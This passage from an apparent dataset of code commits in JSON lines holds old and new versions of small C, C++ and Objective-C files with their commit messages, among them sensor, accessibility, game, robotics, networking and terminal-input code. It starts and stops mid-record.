lglow\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz"}
{"commit":"0a8dfb109eb3b3fd7a4efb9f39cca70ae44c31f8","old_file":"payload\/Bmp180.h","new_file":"payload\/Bmp180.h","old_contents":"#ifndef RCR_LEVEL1PAYLOAD_BMP180_H_\n#define RCR_LEVEL1PAYLOAD_BMP180_H_\n\n#if defined(ARDUINO) && ARDUINO >= 100\n\t#include \"arduino.h\"\n#else\n\t#include \"WProgram.h\"\n#endif\n\nnamespace rcr {\nnamespace level1payload {\n} \/\/ namespace level1_payload\n} \/\/ namespace rcr\n\n#endif \/\/ RCR_LEVEL1PAYLOAD_BMP180_H_\n","new_contents":"#ifndef RCR_LEVEL1PAYLOAD_BMP180_H_\n#define RCR_LEVEL1PAYLOAD_BMP180_H_\n\n#if defined(ARDUINO) && ARDUINO >= 100\n\t#include \"arduino.h\"\n#else\n\t#include \"WProgram.h\"\n#endif\n\n#include <Adafruit_BMP085_Library\\Adafruit_BMP085.h>\n\nnamespace rcr {\nnamespace level1payload {\n\n\/\/ Encapsulates a BMP180 sensor and providing selected access to its interface.\n\/\/ Compatable with (at least) the BMP085 and BMP180.\nclass Bmp180 {\n public:\n  Bmp180();\n\n  \/\/ Temperature.\n  \/\/ \/\/ UNIT: degrees Celcius\n  float temperature(void);\n\n  \/\/ Pressure at the sensor.\n  \/\/ UNIT: pascal (N\/m^2)\n  int32_t ambient_pressure(void);\n  \n  \/\/ Pressure altitude: altitude with altimeter setting at 101325 Pascals == 1013.25 millibars\n  \/\/ == 29.92 inches mercury (i.e., std. pressure) \/\/ For pressure conversions, visit NOAA \n  \/\/ at: https:\/\/www.weather.gov\/media\/epz\/wxcalc\/pressureConversion.pdf.\n  \/\/ (Pressure altitude is NOT correct for non-standard pressure or temperature.)\n  \/\/ UNIT: meters\n  float pressure_altitude(void);\n\n  \/\/ Only if a humidity sensor is viable, TODO (Nolan Holden):\n  \/\/ Add density altitude:\n  \/\/ pressure altitude corrected for nonstandard temperature.\n  \/\/ Remember: higher density altitude (High, Hot, and Humid) means decreased performance.\n\n  \/\/ Disallow copying and moving.\n  Bmp180(const Bmp180&) = delete;\n  Bmp180& operator=(const Bmp180&) = delete;\n\n private:\n  Adafruit_BMP085 bmp;\n};\n\n} \/\/ namespace level1_payload\n} \/\/ namespace rcr\n\n#endif \/\/ RCR_LEVEL1PAYLOAD_BMP180_H_\n","subject":"Define the BMP180 container class","message":"Define the BMP180 container class\n","lang":"C","license":"mit","repos":"nolanholden\/geovis,nolanholden\/geovis,nolanholden\/geovis,nolanholden\/payload-level1-rocket"}
{"commit":"1a09fbfebd6cf3361b29cf1386a402560c7c7b3b","old_file":"registryd\/event-source.h","new_file":"registryd\/event-source.h","old_contents":"\/*\n * AT-SPI - Assistive Technology Service Provider Interface\n * (Gnome Accessibility Project; http:\/\/developer.gnome.org\/projects\/gap)\n *\n * Copyright 2009  Nokia.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n * Boston, MA 02111-1307, USA.\n *\/\n\n#ifndef SPI_EVENT_SOURCE_H_\n#define SPI_EVENT_SOURCE_H_\n\n#ifdef HAVE_X11\n#include <X11\/Xlib.h>\n\nvoid spi_events_init (Display *display);\nvoid spi_set_filter (void (*filter) (XEvent*, void*), void* data);\n#endif \/* HAVE_X11 *\/\nvoid spi_events_uninit ();\nvoid spi_set_events (long event_mask);\n\n#endif \/* SPI_EVENT_SOURCE_H_ *\/\n","new_contents":"\/*\n * AT-SPI - Assistive Technology Service Provider Interface\n * (Gnome Accessibility Project; http:\/\/developer.gnome.org\/projects\/gap)\n *\n * Copyright 2009  Nokia.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n * Boston, MA 02111-1307, USA.\n *\/\n\n#ifndef SPI_EVENT_SOURCE_H_\n#define SPI_EVENT_SOURCE_H_\n\n#include <config.h>\n\n#ifdef HAVE_X11\n#include <X11\/Xlib.h>\n\nvoid spi_events_init (Display *display);\nvoid spi_set_filter (void (*filter) (XEvent*, void*), void* data);\n#endif \/* HAVE_X11 *\/\nvoid spi_events_uninit ();\nvoid spi_set_events (long event_mask);\n\n#endif \/* SPI_EVENT_SOURCE_H_ *\/\n","subject":"Include config.h before checking HAVE_X11","message":"registryd: Include config.h before checking HAVE_X11\n\nhttps:\/\/bugzilla.gnome.org\/show_bug.cgi?id=773710\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/at-spi2-core,GNOME\/at-spi2-core,GNOME\/at-spi2-core"}
{"commit":"1798b634514a8b35a47e3936cce7ce31ceb2e93e","old_file":"shapes\/map\/map_6.c","new_file":"shapes\/map\/map_6.c","old_contents":"int f(int);\n\nint main(void) {\n  int *x, *y;\n\n  \/\/ CHECK: Found\n  \/\/ CHECK: line [[@LINE+1]]\n  for(int i = 0; i < 100; i++) {\n    x[9] = 45;\n    x[i] = f(y[i]);\n  }\n}\n","new_contents":"int f(int);\n\nint main(void) {\n  int *x, *y;\n\n  \/\/ CHECK: Near miss\n  for(int i = 0; i < 100; i++) {\n    x[9] = 45;\n    x[i] = f(y[i]);\n  }\n}\n","subject":"Change filecheck line for map 6","message":"Change filecheck line for map 6\n","lang":"C","license":"mit","repos":"Baltoli\/skeletons,Baltoli\/skeletons,Baltoli\/skeletons"}
{"commit":"38fb8a117b47f4cf229ab15cfc5fdb1a27b09853","old_file":"snake.c","new_file":"snake.c","old_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\n#define BOARD_HEIGHT 50\n#define BOARD_WIDTH 50\n\ntypedef struct Position {\n\tint row;\n\tint col;\n} Position;\n\ntypedef enum Cell {\n\tEMPTY\n\t,SNAKE\n\t,FOOD\n} Cell;\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\n#define BOARD_HEIGHT 50\n#define BOARD_WIDTH 50\n\ntypedef struct Position {\n\tint row;\n\tint col;\n} Position;\n\ntypedef enum Cell {\n\tEMPTY\n\t,SNAKE\n\t,FOOD\n} Cell;\n\ntypedef Cell Board[BOARD_HEIGHT][BOARD_WIDTH];\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","subject":"Define a type alias to represent boards.","message":"Define a type alias to represent boards.\n","lang":"C","license":"mit","repos":"Hendrikto\/Snake"}
{"commit":"a61d97549cffa81b1949ec6baacef77d71e0a896","old_file":"desc.c","new_file":"desc.c","old_contents":"","new_contents":"#include <stdio.h>\n#include \"dbg.h\"\n#include \"stats.h\"\n\nint main(int argc, char *argv[])\n{\n    dataset *ds = read_data_file(argv[1]);\n    if (!ds)\n        return 1;\n\n    printf(\"count     %zu\\n\", ds->n);\n    printf(\"min       %.5g\\n\", min(ds));\n    printf(\"Q1        %.5g\\n\", first_quartile(ds));\n    printf(\"mean      %.5g\\n\", mean(ds));\n    printf(\"median    %.5g\\n\", median(ds));\n    printf(\"Q3        %.5g\\n\", third_quartile(ds));\n    printf(\"max       %.5g\\n\", max(ds));\n    printf(\"IQR       %.5g\\n\", interquartile_range(ds));\n    printf(\"var       %.5g\\n\", var(ds));\n    printf(\"sd        %.5g\\n\", sd(ds));\n    \n    return 0;\n}\n","subject":"Add source for main executable","message":"Add source for main executable\n","lang":"C","license":"mit","repos":"loicseguin\/desc"}
{"commit":"2b40e170deeb97055d4a1ffb27de0ec38c212712","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int (f)(void*, void*));\nvoid List_Insert(List* l, ListNode* n);\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int (f)(void*, void*));\nvoid List_Insert(List* l, ListNode* n);\nvoid List_Delete(List* l, ListNode* n);\n#endif","subject":"Add List Delete function declaration","message":"Add List Delete function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"b45768b1321048d323fe762319a21e2da928142b","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\r\n\r\nint main(void)\r\n{\r\n  return 0;\r\n}\r\n","new_contents":"#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\n#define SETUP_HANDLER 0\r\n\r\nshort int CURRENT_STATE = SETUP_HANDLER;\r\n\r\nvoid setupHandler() {\r\n  \/\/ Hardware definitions\r\n  \/\/ Setup next state\r\n}\r\n\r\nvoid loop() {\r\n  while(1) {\r\n    switch(CURRENT_STATE) {\r\n      case SETUP_HANDLER: setupHandler(); break;\r\n    }\r\n  }\r\n}\r\n\r\nint main(void) {\r\n  loop();\r\n  return 0;\r\n}\r\n","subject":"Add base `state machine` from the scratch","message":"feature: Add base `state machine` from the scratch\n","lang":"C","license":"mit","repos":"marceloboeira\/miller-urey"}
{"commit":"677be8e05b8fc5ccffa9035c0c39e4292a672803","old_file":"cbits\/win32.c","new_file":"cbits\/win32.c","old_contents":"\/* ----------------------------------------------------------------------------\n   (c) The University of Glasgow 2006\n   \n   Useful Win32 bits\n   ------------------------------------------------------------------------- *\/\n\n#if defined(_WIN32)\n\n#include \"HsBase.h\"\n\nint get_unique_file_info(int fd, HsWord64 *dev, HsWord64 *ino)\n{\n    HANDLE h = (HANDLE)_get_osfhandle(fd);\n    BY_HANDLE_FILE_INFORMATION info;\n\n    if (GetFileInformationByHandle(h, &info))\n    {\n        *dev = info.dwVolumeSerialNumber;\n        *ino = info.nFileIndexLow\n             | ((HsWord64)info.nFileIndexHigh << 32);\n\n        return 0;\n    }\n\n    return -1;\n}\n\n#endif\n","new_contents":"\/* ----------------------------------------------------------------------------\n   (c) The University of Glasgow 2006\n   \n   Useful Win32 bits\n   ------------------------------------------------------------------------- *\/\n\n#if defined(_WIN32)\n\n#include \"HsBase.h\"\n\n#endif\n","subject":"Remove our customed `get_unique_file_info` on Windows platform.","message":"Remove our customed `get_unique_file_info` on Windows platform.\n\nThe function `get_unique_file_info` was added into base 5 years ago,\nhttps:\/\/github.com\/ghc\/ghc\/blame\/ba597c1dd1daf9643b72dc7aeace8d6b3fce84eb\/libraries\/base\/cbits\/Win32Utils.c#L128,\nand first appeared in base-4.6.0.\n\nSigned-off-by: Tao He <9e9d50aa3fb60f0eb719baf23d12c62f0c16e40a@gmail.com>\n","lang":"C","license":"bsd-3-clause","repos":"winterland1989\/stdio,winterland1989\/stdio,winterland1989\/stdio"}
{"commit":"79b4591da81535d9820bda788e0acf15f07e9120","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"#pragma once\n\n#include \"config.h\"\n\n#define BOOST_LOG_DYN_LINK\n\n#include <boost\/log\/sources\/severity_logger.hpp>\n#include <boost\/log\/trivial.hpp>\n\nint main(int argc, char **argv);\nboost::log::sources::severity_logger<boost::log::trivial::severity_level> &get_global_logger(void); \/\/ TOOD: Make const\n\n","new_contents":"#pragma once\n\n#include \"config.h\"\n\n#define BOOST_LOG_DYN_LINK\n\n#include <boost\/log\/sources\/severity_logger.hpp>\n#include <boost\/log\/trivial.hpp>\n\nint main(int argc, char **argv);\nboost::log::sources::severity_logger<boost::log::trivial::severity_level> &get_global_logger(void);\n\n","subject":"Remove comment which is impossible :(","message":"Remove comment which is impossible :(\n","lang":"C","license":"mit","repos":"durandj\/simplicity,durandj\/simplicity"}
{"commit":"1ca2092e54d1b1c06daf79eaf76710889a7eda2d","old_file":"RobotC\/MotorTest.c","new_file":"RobotC\/MotorTest.c","old_contents":"#pragma config(Hubs,  S1, HTMotor,  none,     none,     none)\n#pragma config(Sensor, S1,     ,               sensorI2CMuxController)\n#pragma config(Motor,  mtr_S1_C1_1,     leftMotor,     tmotorTetrix, openLoop)\n#pragma config(Motor,  mtr_S1_C1_2,     rightMotor,        tmotorTetrix, openLoop)\n\/\/*!!Code automatically generated by 'ROBOTC' configuration wizard               !!*\/\/\n\ntask main()\n{\n\t\tmotor[leftMotor] =100;\n\t\tmotor[rightMotor] = -100;\n\t\twait1Msec(1000);\n\t\tfor(int i=0;i<kNumbOfRealMotors;i++) {\n\t\t\tmotor[i] = 0;\n\t\t}\n}\n","new_contents":"#pragma config(Hubs,  S1, HTMotor,  none,     none,     none)\n#pragma config(Sensor, S1,     ,               sensorI2CMuxController)\n#pragma config(Motor,  mtr_S1_C1_1,     Michelangelo_FR, tmotorTetrix, PIDControl, reversed, encoder)\n#pragma config(Motor,  mtr_S1_C1_2,     Donatello_FL,  tmotorTetrix, PIDControl, encoder)\n#pragma config(Motor,  mtr_S1_C2_2,     Raphael_BR,    tmotorTetrix, PIDControl, reversed, encoder)\n#pragma config(Motor,  mtr_S1_C2_1,     Leonardo_BL,   tmotorTetrix, PIDControl, encoder)\n\/\/*!!Code automatically generated by 'ROBOTC' configuration wizard               !!*\/\/\n\n\/\/If none of these work, I will be very sad.\n#define TOTAL_MOTORS kNumbOfTotalMotors\n\/\/#define TOTAL_MOTORS kNumbOfRealMotors\n\/\/#define TOTAL_MOTORS kNumbOfVirtualMotors\n\n\ntask main()\n{\n\t\tfor(int i=0;i<TOTAL_MOTORS;i++) {\n\t\t\tmotor[i] = 50;\n\t\t}\n\t\twait1Msec(2000);\n\t\tmotor[Michelangelo_FR] = 0;\n\t\tmotor[Donatello_FL] = 0;\n\t\tmotor[Raphael_BR] = 0;\n\t\tmotor[Leonardo_BL] = 0;\n}\n","subject":"Add motor loop tester to see once and for all if possible","message":"Add motor loop tester to see once and for all if possible\n","lang":"C","license":"mit","repos":"RMRobotics\/FTC_5421_2014-2015,RMRobotics\/FTC_5421_2014-2015"}
{"commit":"0201012a54285c9851dfe8b23045f0d99a8175cd","old_file":"RMUniversalAlert.h","new_file":"RMUniversalAlert.h","old_contents":"\/\/\n\/\/  RMUniversalAlert.h\n\/\/  RMUniversalAlert\n\/\/\n\/\/  Created by Ryan Maxwell on 19\/11\/14.\n\/\/  Copyright (c) 2014 Ryan Maxwell. All rights reserved.\n\/\/\n\n@class RMUniversalAlert;\n\ntypedef void(^RMUniversalAlertCompletionBlock)(RMUniversalAlert *alert, NSInteger buttonIndex);\n\n@interface RMUniversalAlert : NSObject\n\n+ (instancetype)showAlertInViewController:(UIViewController *)viewController\n                                withTitle:(NSString *)title\n                                  message:(NSString *)message\n                        cancelButtonTitle:(NSString *)cancelButtonTitle\n                   destructiveButtonTitle:(NSString *)destructiveButtonTitle\n                        otherButtonTitles:(NSArray *)otherButtonTitles\n                                 tapBlock:(RMUniversalAlertCompletionBlock)tapBlock;\n\n+ (instancetype)showActionSheetInViewController:(UIViewController *)viewController\n                                      withTitle:(NSString *)title\n                                        message:(NSString *)message\n                              cancelButtonTitle:(NSString *)cancelButtonTitle\n                         destructiveButtonTitle:(NSString *)destructiveButtonTitle\n                              otherButtonTitles:(NSArray *)otherButtonTitles\n                                       tapBlock:(RMUniversalAlertCompletionBlock)tapBlock;\n\n@property (readonly, nonatomic) BOOL visible;\n@property (readonly, nonatomic) NSInteger cancelButtonIndex;\n@property (readonly, nonatomic) NSInteger firstOtherButtonIndex;\n@property (readonly, nonatomic) NSInteger destructiveButtonIndex;\n\n@end\n","new_contents":"\/\/\n\/\/  RMUniversalAlert.h\n\/\/  RMUniversalAlert\n\/\/\n\/\/  Created by Ryan Maxwell on 19\/11\/14.\n\/\/  Copyright (c) 2014 Ryan Maxwell. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class RMUniversalAlert;\n\ntypedef void(^RMUniversalAlertCompletionBlock)(RMUniversalAlert *alert, NSInteger buttonIndex);\n\n@interface RMUniversalAlert : NSObject\n\n+ (instancetype)showAlertInViewController:(UIViewController *)viewController\n                                withTitle:(NSString *)title\n                                  message:(NSString *)message\n                        cancelButtonTitle:(NSString *)cancelButtonTitle\n                   destructiveButtonTitle:(NSString *)destructiveButtonTitle\n                        otherButtonTitles:(NSArray *)otherButtonTitles\n                                 tapBlock:(RMUniversalAlertCompletionBlock)tapBlock;\n\n+ (instancetype)showActionSheetInViewController:(UIViewController *)viewController\n                                      withTitle:(NSString *)title\n                                        message:(NSString *)message\n                              cancelButtonTitle:(NSString *)cancelButtonTitle\n                         destructiveButtonTitle:(NSString *)destructiveButtonTitle\n                              otherButtonTitles:(NSArray *)otherButtonTitles\n                                       tapBlock:(RMUniversalAlertCompletionBlock)tapBlock;\n\n@property (readonly, nonatomic) BOOL visible;\n@property (readonly, nonatomic) NSInteger cancelButtonIndex;\n@property (readonly, nonatomic) NSInteger firstOtherButtonIndex;\n@property (readonly, nonatomic) NSInteger destructiveButtonIndex;\n\n@end\n","subject":"Add in UIKit import into header.","message":"Add in UIKit import into header.\n","lang":"C","license":"mit","repos":"lijie121210\/RMUniversalAlert,ranshon\/RMUniversalAlert,RockyZ\/RMUniversalAlert,ryanmaxwell\/RMUniversalAlert"}
{"commit":"4ea319b6ff2c1bf38adafdb8c9128ab48d3eb9ee","old_file":"common\/platform\/api\/quiche_export.h","new_file":"common\/platform\/api\/quiche_export.h","old_contents":"\/\/ Copyright 2019 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef THIRD_PARTY_QUICHE_PLATFORM_API_QUICHE_EXPORT_H_\n#define THIRD_PARTY_QUICHE_PLATFORM_API_QUICHE_EXPORT_H_\n\n#include \"net\/quiche\/common\/platform\/impl\/quiche_export_impl.h\"\n\n\/\/ quiche_export_impl.h defines the following macros:\n\/\/ - QUICHE_EXPORT is not meant to be used.\n\/\/ - QUICHE_EXPORT_PRIVATE is meant for QUICHE functionality that is built in\n\/\/   Chromium as part of \/\/net, and not fully contained in headers.\n\/\/ - QUICHE_NO_EXPORT is meant for QUICHE functionality that is either fully\n\/\/   defined in a header, or is built in Chromium as part of tests or tools.\n\n#endif  \/\/ THIRD_PARTY_QUICHE_PLATFORM_API_QUICHE_EXPORT_H_\n","new_contents":"\/\/ Copyright 2019 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef THIRD_PARTY_QUICHE_PLATFORM_API_QUICHE_EXPORT_H_\n#define THIRD_PARTY_QUICHE_PLATFORM_API_QUICHE_EXPORT_H_\n\n#include \"quiche_platform_impl\/quiche_export_impl.h\"\n\n\/\/ QUICHE_EXPORT is not meant to be used.\n#define QUICHE_EXPORT QUICHE_EXPORT_IMPL\n\n\/\/ QUICHE_EXPORT_PRIVATE is meant for QUICHE functionality that is built in\n\/\/ Chromium as part of \/\/net, and not fully contained in headers.\n#define QUICHE_EXPORT_PRIVATE QUICHE_EXPORT_PRIVATE_IMPL\n\n\/\/ QUICHE_NO_EXPORT is meant for QUICHE functionality that is either fully\n\/\/ defined in a header, or is built in Chromium as part of tests or tools.\n#define QUICHE_NO_EXPORT QUICHE_NO_EXPORT_IMPL\n\n#endif  \/\/ THIRD_PARTY_QUICHE_PLATFORM_API_QUICHE_EXPORT_H_\n","subject":"Make QUICHE export use new-style default impl.","message":"Make QUICHE export use new-style default impl.\n\nPiperOrigin-RevId: 354510465\nChange-Id: I3b55187e2a2e8af8e5870dc24b608ebb5a5ff865\n","lang":"C","license":"bsd-3-clause","repos":"google\/quiche,google\/quiche,google\/quiche,google\/quiche"}
{"commit":"ffddc9d9b570116a0d0acc3c6309794cb68db085","old_file":"src\/libbitcoind.h","new_file":"src\/libbitcoind.h","old_contents":"#include \"main.h\"\n#include \"addrman.h\"\n#include \"alert.h\"\n#include \"base58.h\"\n#include \"init.h\"\n#include \"noui.h\"\n#include \"rpcserver.h\"\n#include \"txdb.h\"\n#include <boost\/thread.hpp>\n#include <boost\/filesystem.hpp>\n#include \"nan.h\"\n#include \"scheduler.h\"\n#include \"core_io.h\"\n#include \"script\/bitcoinconsensus.h\"\n#include \"consensus\/validation.h\"\n\nNAN_METHOD(StartBitcoind);\nNAN_METHOD(OnBlocksReady);\nNAN_METHOD(OnTipUpdate);\nNAN_METHOD(IsStopping);\nNAN_METHOD(IsStopped);\nNAN_METHOD(StopBitcoind);\nNAN_METHOD(GetBlock);\nNAN_METHOD(GetTransaction);\nNAN_METHOD(GetInfo);\nNAN_METHOD(IsSpent);\nNAN_METHOD(GetBlockIndex);\nNAN_METHOD(GetMempoolOutputs);\nNAN_METHOD(AddMempoolUncheckedTransaction);\nNAN_METHOD(VerifyScript);\nNAN_METHOD(SendTransaction);\nNAN_METHOD(EstimateFee);\nNAN_METHOD(StartTxMon);\nNAN_METHOD(GetProgress);\n","new_contents":"#include \"main.h\"\n#include \"addrman.h\"\n#include \"alert.h\"\n#include \"base58.h\"\n#include \"init.h\"\n#include \"noui.h\"\n#include \"rpcserver.h\"\n#include \"txdb.h\"\n#include <boost\/thread.hpp>\n#include <boost\/filesystem.hpp>\n#include \"nan.h\"\n#include \"scheduler.h\"\n#include \"core_io.h\"\n#include \"script\/bitcoinconsensus.h\"\n#include \"consensus\/validation.h\"\n\nNAN_METHOD(StartBitcoind);\nNAN_METHOD(OnBlocksReady);\nNAN_METHOD(OnTipUpdate);\nNAN_METHOD(IsStopping);\nNAN_METHOD(IsStopped);\nNAN_METHOD(StopBitcoind);\nNAN_METHOD(GetBlock);\nNAN_METHOD(GetTransaction);\nNAN_METHOD(GetInfo);\nNAN_METHOD(IsSpent);\nNAN_METHOD(GetBlockIndex);\nNAN_METHOD(GetMempoolOutputs);\nNAN_METHOD(AddMempoolUncheckedTransaction);\nNAN_METHOD(VerifyScript);\nNAN_METHOD(SendTransaction);\nNAN_METHOD(EstimateFee);\nNAN_METHOD(StartTxMon);\nNAN_METHOD(SyncPercentage);\nNAN_METHOD(IsSynced);\n","subject":"Fix declarations for IsSynced and SyncPercentage","message":"Fix declarations for IsSynced and SyncPercentage\n","lang":"C","license":"mit","repos":"isghe\/bitcore-node,braydonf\/bitcore-node,CryptArc\/bitcore-node,jameswalpole\/bitcore-node,wzrdtales\/bitcore-node,zcoinrocks\/bitcore-node,wzrdtales\/bitcore-node,jameswalpole\/bitcore-node,snogcel\/bitcore-node-dash,phplaboratory\/psiacore-node,jameswalpole\/bitcore-node,wzrdtales\/bitcore-node,wzrdtales\/bitcore-node,isghe\/bitcore-node,CryptArc\/bitcore-node,isghe\/bitcore-node,wzrdtales\/bitcore-node,snogcel\/bitcore-node-dash,zcoinrocks\/bitcore-node,isghe\/bitcore-node,jameswalpole\/bitcore-node,CryptArc\/bitcore-node,CryptArc\/bitcore-node,fanatid\/bitcore-node,kleetus\/bitcore-node,kleetus\/bitcore-node,fanatid\/bitcore-node,fanatid\/bitcore-node,jameswalpole\/bitcore-node,phplaboratory\/psiacore-node,fanatid\/bitcore-node,phplaboratory\/psiacore-node,CryptArc\/bitcore-node,phplaboratory\/psiacore-node,fanatid\/bitcore-node,phplaboratory\/psiacore-node,isghe\/bitcore-node,braydonf\/bitcore-node"}
{"commit":"acb99f7d6b709a7dc88344c36de7c4866e455035","old_file":"src\/wrap.h","new_file":"src\/wrap.h","old_contents":"#ifndef BF_WRAP_H\n#define BF_WRAP_H\n\n#include <type_traits>\n#include \"object.h\"\n\nnamespace bf {\n\ntemplate <\n  typename T,\n  typename std::enable_if<std::is_integral<T>::value>::type\n>\nobject wrap(T const& x)\n{\n  return {&x, sizeof(T)};\n}\n\ntemplate <typename Sequence>\nobject wrap(Sequence const& s)\n{\n  return {s.data(), s.size()};\n}\n\n} \/\/ namespace bf\n\n#endif\n","new_contents":"#ifndef BF_WRAP_H\n#define BF_WRAP_H\n\n#include <type_traits>\n#include <vector>\n#include \"object.h\"\n\nnamespace bf {\n\ntemplate <\n  typename T,\n  typename = typename std::enable_if<std::is_arithmetic<T>::value>::type\n>\nobject wrap(T const& x)\n{\n  return {&x, sizeof(T)};\n}\n\ntemplate <\n  typename T,\n  size_t N,\n  typename = typename std::enable_if<std::is_arithmetic<T>::value>::type\n>\nobject wrap(T const (&str)[N])\n{\n  return {&str, N * sizeof(T)};\n}\n\ntemplate <\n  typename T,\n  typename = typename std::enable_if<std::is_arithmetic<T>::value>::type\n>\nobject wrap(std::vector<T> const& s)\n{\n  return {s.data(), s.size()};\n}\n\ninline object wrap(std::string const& str)\n{\n  return {str.data(), str.size()};\n}\n\n} \/\/ namespace bf\n\n#endif\n","subject":"Fix SFINAE default arg and add array overload.","message":"Fix SFINAE default arg and add array overload.\n","lang":"C","license":"bsd-3-clause","repos":"mavam\/libbf,nicolacdnll\/libbf,nicolacdnll\/libbf"}
{"commit":"c7b9e854fbd3008f3120a69f385781e2598b33fd","old_file":"src\/media\/delivery\/irtpstreamer.h","new_file":"src\/media\/delivery\/irtpstreamer.h","old_contents":"","new_contents":"#pragma once\n#include \"media\/processing\/filter.h\"\n\n#include <QHostAddress>\n\nclass IRTPStreamer\n{\npublic:\n  virtual ~IRTPStreamer();\n\n  virtual void init(StatisticsInterface *stats) = 0;\n  virtual void uninit() = 0;\n  virtual void run() = 0;\n  virtual void stop() = 0;\n\n  \/\/ init a session with sessionID to use with add\/remove functions\n  \/\/ returns whether operation was successful\n  virtual bool addPeer(QHostAddress address, uint32_t sessionID) = 0;\n\n  \/\/ Returns filter to be attached to filter graph. ownership is not transferred.\n  \/\/ removing the peer or stopping the streamer destroys these filters.\n  virtual std::shared_ptr<Filter> addSendStream(uint32_t peer, uint16_t port, QString codec, uint8_t rtpNum) = 0;\n  virtual std::shared_ptr<Filter> addReceiveStream(uint32_t peer, uint16_t port, QString codec, uint8_t rtpNum) = 0;\n\n  virtual void removeSendVideo(uint32_t sessionID) = 0;\n  virtual void removeSendAudio(uint32_t sessionID) = 0;\n  virtual void removeReceiveVideo(uint32_t sessionID) = 0;\n  virtual void removeReceiveAudio(uint32_t sessionID) = 0;\n\n  \/\/ removes everything related to this peer\n  virtual void removePeer(uint32_t sessionID) = 0;\n\n  virtual void removeAllPeers() = 0;\n};\n","subject":"Create Interface for RTP Streamers","message":"feature(Delivery): Create Interface for RTP Streamers\n","lang":"C","license":"isc","repos":"ultravideo\/kvazzup,ultravideo\/kvazzup"}
{"commit":"643e5ab48ace0512b036e8b65deb36ce2a6565f6","old_file":"QERY.c","new_file":"QERY.c","old_contents":"","new_contents":"#! \/usr\/bin\/tcc -run \n\n\/* a simple keypress decoder *\/\n\n#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n#include <string.h>\n\nstruct termios orig_termios;\n\nvoid disableRawMode() {\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enableRawMode() {\n  tcgetattr(STDIN_FILENO, &orig_termios);\n  atexit(disableRawMode);\n\n  struct termios raw = orig_termios;\n  raw.c_lflag &= ~(ECHO | ICANON);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nchar c1 = ' ';\nchar c2 = ' ';\nchar c3 = ' ';\nchar c4 = ' ';\n\nint test(char c) {\n   c4=c3;        c3=c2;        c2=c1;        c1=c;\n   int t4 = 27;  int t3 = 91;  int t2 = 50;  int t1 = 126;\n   char s4 = t4; char s3 = t3; char s2 = t2; char s1 = t1;\n\n   int test = (c4==s4) && (c3==s3) && (c2==s2) && (c1==s1);\n   return test;\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c != 'q') {\n    if (iscntrl(c)) {\n      printf(\"%d\\n\", c);\n    } else {\n      printf(\"%d ('%c')\\n\", c, c);\n    }\n\n  if (test(c)) {printf(\"insert\\n\");}\n\n  char buf[32];\n  unsigned int i = 0;\n\n \/* Query screen for cursor location *\/\n\n    if (write(1, \"\\x1b[6n\", 4) != 4) return 0;\n\n    while (i < sizeof(buf)-1) \n    {\n        if (read(0,buf+i,1) != 1) break;\n        if (buf[i] == 'R') break;\n        i++;\n    }\n\n    printf(\"i = %d\\n\",i);\n    buf[i] = '\\0';\n\n    int x; int y;\n    if (buf[0] != 27 || buf[1] != '[') return -1;\n\n    int leng = strlen(buf);\n    printf(\"string length = %d\\n\",leng);\n\n    printf(\"<esc>[24;80\\n\");\n    int j ;\n    for ( j = 2; j < 7; j++) \n    printf(\"j = %d buf[%d] = %d\\n\", j,  j, buf + j);\n                              \n\/\/    sscanf(buf+2,\"%d;%d\",x,y);\n\n\/\/    if (sscanf(buf+2,\"%d;%d\",x,y) != 